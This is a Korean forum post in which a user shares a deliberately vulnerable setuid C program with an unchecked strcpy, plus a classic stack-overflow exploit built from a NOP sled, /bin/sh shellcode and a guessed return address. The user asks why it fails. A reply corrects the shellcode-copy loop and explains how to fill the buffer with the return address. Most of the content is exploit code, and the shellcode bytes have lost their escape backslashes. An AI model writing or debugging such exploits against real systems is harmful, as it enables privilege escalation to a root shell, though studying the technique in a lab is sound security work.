: //임의로 제작한 취약 프로그램
:
: #include <stdio.h>
:
: int main( int argc, int *argv<> )
: {
: char buf[256];
:
: if ( (argc > 2) || (argv == 1) )
: {
: printf("Usage : ./echo");
: exit(0);
: }
:
: strcpy(buf,argv[1]);
: printf("Echo:%s",buf);
: }
: ================================================
:
: //익스플로잇
:
: #include <stdio.h>
: #include <stdlib.h>
: #include <unistd.h>
: #define NOP 0x90
:
: /* 쉘 코드 */
: char shellcode<> =
: "xebx1dx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8d"
: "x4ex08x31xd2xcdx80xb0x01x31xdbxcdx80xe8xdexffxffxff/bin/sh";
:
: /* 스택 프레임 포인터의 어드레스를 알아내기 위한 함수 */
:
: unsigned long int get_sp( void )
: {
: __asm__("movl %esp,%eax");
: }
:
: /* 메인 함수 */
:
: int main( int argc, char *argv<> )
: {
: char attack[264];
: int offset;
: long *ptr, addr;
:
: /*
: attack[264]는 취약프로그램에 입력할 문자열.
: 256 bytes 의 buf와 4 bytes 의 Stack Frame Pointer, 4 bytes의 RET값이 합쳐진것.
:
: offset은 stack의 시작주소로 부터 쉘 코드의 위치까지의 거리를 나타내는 것,
: 공격자가 임의로?입력가능. SFP와 Shellcode까지의 거리는 추측에 의존하기 때문...
:
: ptr은 attack[264]의 마지막 4bytes에 shellcode의 address를 넣어야 하는데 shellcode의 address는
: 4bytes이고, attack<>은 char type으로 각각 1byte이므로 주소를 넣기가 곤란하다...
: 그래서 포인터를 사용. ( attack[260] ~ attack[263] )
:
: addr은 SFP의 시작주소의 값. shellcode의 주소 = addr - offset
: (스택은 나중에 들어온 값이 낮은 메모리 주소를 가지고 있으니까)
: */
:
: int i,c;
:
: if ( argc == 2 )
: {
: offset = atoi(argv[1]);
: }
: else offset = 512;
:
: /* 사용자가 offset을 입력하지 않으면 디폴트로 512 */
:
: addr = get_sp() - offset;
: /* 스택 프레임 포인터에서 offset만큼 떨어진 shellcode의 주소 */
:
:
: for ( i = 0; i < 200; i++)
: {
: attack[i] = NOP;
: }
:
: for ( i = 200, c = 0; i < strlen( shellcode ) ; i++,c++ )
: /* attack[i]에 쉘 코드를 집어넣는다 */
: {
: attack[i] = shellcode[c];
: }
:
: ptr = (long *)(attack + 260);
: /* attack[260], attack[261], 262, 263은 long형으로 RET address를 가리킴 */
:
: *ptr = addr;
: /* RET addr에 쉘코드가 있을 것으로 추측되는 변수를 넣는다 */
:
: printf("*ptr = %d",*ptr);
: printf("ptr = %x",ptr);
: printf("addr = %x",addr);
: printf("attack<> = %c",attack);
: printf("offset = %d",offset);
:
: execl("./echo","echo",attack, NULL );
: /* 만들어진 attack<>을 인자로 프로그램 실행 */
:
: }
:
: =====================================================
: // 이 따위로 만들어서 돌려봤는데... offset값은 1~1000까지 다 해봤지만
: // 안되네요... 물론 타겟 프로그램에 SUID설정은 했고요...
: // 익스플로잇이 잘못짜진 걸까요? 아니면 offset을 바꿔서 입력해볼까요?
: // 해커즈랩에 질문할까 하다가 여기다 하는게 좋을 것 같아서...
:
: --
: EOF
일단
for ( i = 200, c = 0; i < strlen( shellcode ) ; i++,c++ )
/* attack[i]에 쉘 코드를 집어넣는다 */
{
attack[i] = shellcode[c];
}
이 부분에서 'i < strlen(shellcode)' 가 아니라
'c < strlen(shellcode)' 가 되어야 할 것이고요...
그리고 attack 배열에서 NOP 와 shellcode 이후 부분부터 끝까지
그냥 'addr' 로 채우세요.
--
FreeKernel.org
http://freekernel.org/